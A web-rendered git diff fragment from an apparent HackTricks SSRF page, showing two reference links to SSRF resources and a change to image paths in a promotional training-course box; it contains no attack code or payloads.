||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
||||
|
@ -208,10 +212,9 @@ image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-
|
|||
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
Loading…
Add table
Reference in a new issue